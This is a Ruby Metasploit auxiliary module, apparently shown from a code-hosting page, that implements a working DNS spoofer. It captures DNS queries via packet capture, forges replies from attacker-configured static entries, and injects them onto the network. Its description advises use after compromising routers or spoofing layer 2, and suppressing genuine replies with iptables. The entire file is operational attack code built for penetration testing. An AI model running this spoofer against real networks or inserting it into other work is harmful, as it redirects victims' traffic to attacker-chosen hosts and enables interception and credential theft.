207 lines
6.2 KiB
Ruby
207 lines
6.2 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
|
|
class MetasploitModule < Msf::Auxiliary
|
|
|
|
include Msf::Exploit::Capture
|
|
include Msf::Exploit::Remote::DNS::Client
|
|
include Msf::Exploit::Remote::DNS::Server
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Native DNS Spoofer (Example)',
|
|
'Description' => %q{
|
|
This module provides a Rex based DNS service to resolve queries intercepted
|
|
via the capture mixin. Configure STATIC_ENTRIES to contain host-name mappings
|
|
desired for spoofing using a hostsfile or space/semicolon separated entries.
|
|
In the default configuration, the service operates as a normal native DNS server
|
|
with the exception of consuming from and writing to the wire as opposed to a
|
|
listening socket. Best when compromising routers or spoofing L2 in order to
|
|
prevent return of the real reply which causes a race condition. The method
|
|
by which replies are filtered is up to the user (though iptables works fine).
|
|
},
|
|
'Author' => 'RageLtMan <rageltman[at]sempervictus>',
|
|
'License' => MSF_LICENSE,
|
|
'References' => [],
|
|
'Actions' => [
|
|
[ 'Service', { 'Description' => 'Serve DNS entries' } ]
|
|
],
|
|
'PassiveActions' => [
|
|
'Service'
|
|
],
|
|
'DefaultAction' => 'Service',
|
|
'Notes' => {
|
|
'Reliability' => [],
|
|
'SideEffects' => [],
|
|
'Stability' => []
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('FILTER', [false, 'The filter string for capturing traffic', 'dst port 53']),
|
|
OptAddress.new('SRVHOST', [true, 'The local host to listen on for DNS services.', '127.0.2.2'])
|
|
]
|
|
)
|
|
|
|
deregister_options('PCAPFILE')
|
|
end
|
|
|
|
#
|
|
# Wrapper for service execution and cleanup
|
|
#
|
|
def run
|
|
start_service
|
|
capture_traffic
|
|
service.wait
|
|
rescue Rex::BindFailed => e
|
|
print_error "Failed to bind to port #{datastore['RPORT']}: #{e.message}"
|
|
end
|
|
|
|
def cleanup
|
|
super
|
|
@capture_thread.kill if @capture_thread
|
|
close_pcap
|
|
end
|
|
|
|
#
|
|
# Generates reply with src and dst reversed
|
|
# Maintains original packet structure, proto, etc, changes ip_id
|
|
#
|
|
def reply_packet(pack)
|
|
rep = pack.dup
|
|
rep.eth_dst, rep.eth_src = rep.eth_src, rep.eth_dst
|
|
rep.ip_dst, rep.ip_src = rep.ip_src, rep.ip_dst
|
|
if pack.is_udp?
|
|
rep.udp_dst, rep.udp_src = rep.udp_src, rep.udp_dst
|
|
else
|
|
rep.tcp_dst, rep.tcp_src = rep.tcp_src, rep.tcp_dst
|
|
end
|
|
rep.ip_id = StructFu::Int16.new(rand(2**16))
|
|
return rep
|
|
end
|
|
|
|
#
|
|
# Configures capture and handoff
|
|
#
|
|
def capture_traffic
|
|
check_pcaprub_loaded
|
|
::Socket.do_not_reverse_lookup = true # Mac OS X workaround
|
|
open_pcap({ 'FILTER' => datastore['FILTER'] })
|
|
@capture_thread = Rex::ThreadFactory.spawn('DNSSpoofer', false) do
|
|
each_packet do |pack|
|
|
begin
|
|
parsed = PacketFu::Packet.parse(pack)
|
|
rescue StandardError => e
|
|
vprint_status('PacketFu could not parse captured packet')
|
|
elog('PacketFu could not parse captured packet', error: e)
|
|
end
|
|
|
|
begin
|
|
reply = reply_packet(parsed)
|
|
service.dispatch_request(reply, parsed.payload)
|
|
rescue StandardError => e
|
|
vprint_status('Could not process captured packet')
|
|
elog('Could not process captured packet', error: e)
|
|
end
|
|
end
|
|
end
|
|
end
|
|
|
|
#
|
|
# Creates Proc to handle incoming requests
|
|
#
|
|
def on_dispatch_request(cli, data)
|
|
return unless cli.is_a?(PacketFu::Packet)
|
|
|
|
peer = "#{cli.ip_daddr}:" << (cli.is_udp? ? cli.udp_dst.to_s : cli.tcp_dst.to_s)
|
|
|
|
# Deal with non DNS traffic
|
|
begin
|
|
req = Packet.encode_drb(data)
|
|
rescue StandardError => e
|
|
print_error("Could not decode payload segment of packet from #{peer}, check log")
|
|
dlog e.backtrace
|
|
return
|
|
end
|
|
|
|
answered = []
|
|
# Find cached items, remove request from forwarded packet
|
|
req.question.each do |ques|
|
|
cached = service.cache.find(ques.qname, ques.qtype.to_s)
|
|
if cached.empty?
|
|
next
|
|
else
|
|
cached.each do |subcached|
|
|
req.add_answer(subcached) unless req.answer.include?(subcached)
|
|
end
|
|
|
|
answered << ques
|
|
end
|
|
end
|
|
|
|
if (answered.count < req.question.count) && service.fwd_res
|
|
if req.header.rd == 0
|
|
vprint_status("Recursion forbidden in query for #{req.question.first.name} from #{peer}")
|
|
else
|
|
forward = req.dup
|
|
forward.question.delete_if { |question| answered.include?(question) }
|
|
begin
|
|
forwarded = service.fwd_res.send(Packet.validate(forward))
|
|
rescue NoResponseError
|
|
vprint_error('Did not receive a response')
|
|
return
|
|
end
|
|
|
|
unless service.cache.nil?
|
|
forwarded.answer.each do |ans|
|
|
rstring = ans.respond_to?(:address) ? "#{ans.name}:#{ans.address}" : ans.name
|
|
vprint_status("Caching response #{rstring} #{ans.type}")
|
|
service.cache.cache_record(ans)
|
|
end
|
|
end
|
|
|
|
# Merge the answers and use the upstream response
|
|
req.answer.each do |answer|
|
|
forwarded.add_answer(answer) unless forwarded.answer.include?(answer)
|
|
end
|
|
req = forwarded
|
|
end
|
|
end
|
|
|
|
req.header.qr = true
|
|
service.send_response(cli, req.encode)
|
|
end
|
|
|
|
#
|
|
# Creates Proc to handle outbound responses
|
|
#
|
|
def on_send_response(cli, data)
|
|
return unless cli.is_a?(PacketFu::Packet)
|
|
|
|
cli.payload = data
|
|
cli.recalc
|
|
inject cli.to_s
|
|
sent_info(cli, data) if datastore['VERBOSE']
|
|
end
|
|
|
|
#
|
|
# Prints information about spoofed packet after injection to reduce latency of operation
|
|
# Shown to improve response time by >50% from ~1ms -> 0.3-0.4ms
|
|
#
|
|
def sent_info(cli, data)
|
|
net = Packet.encode_net(data)
|
|
peer = "#{cli.ip_daddr}:" << (cli.is_udp? ? cli.udp_dst.to_s : cli.tcp_dst.to_s)
|
|
asked = net.question.map { |q| q.qName.delete_suffix('.') }.join(', ')
|
|
vprint_good("Sent packet with header:\n#{cli.inspect}")
|
|
vprint_good("Spoofed records for #{asked} to #{peer}")
|
|
end
|
|
|
|
end
|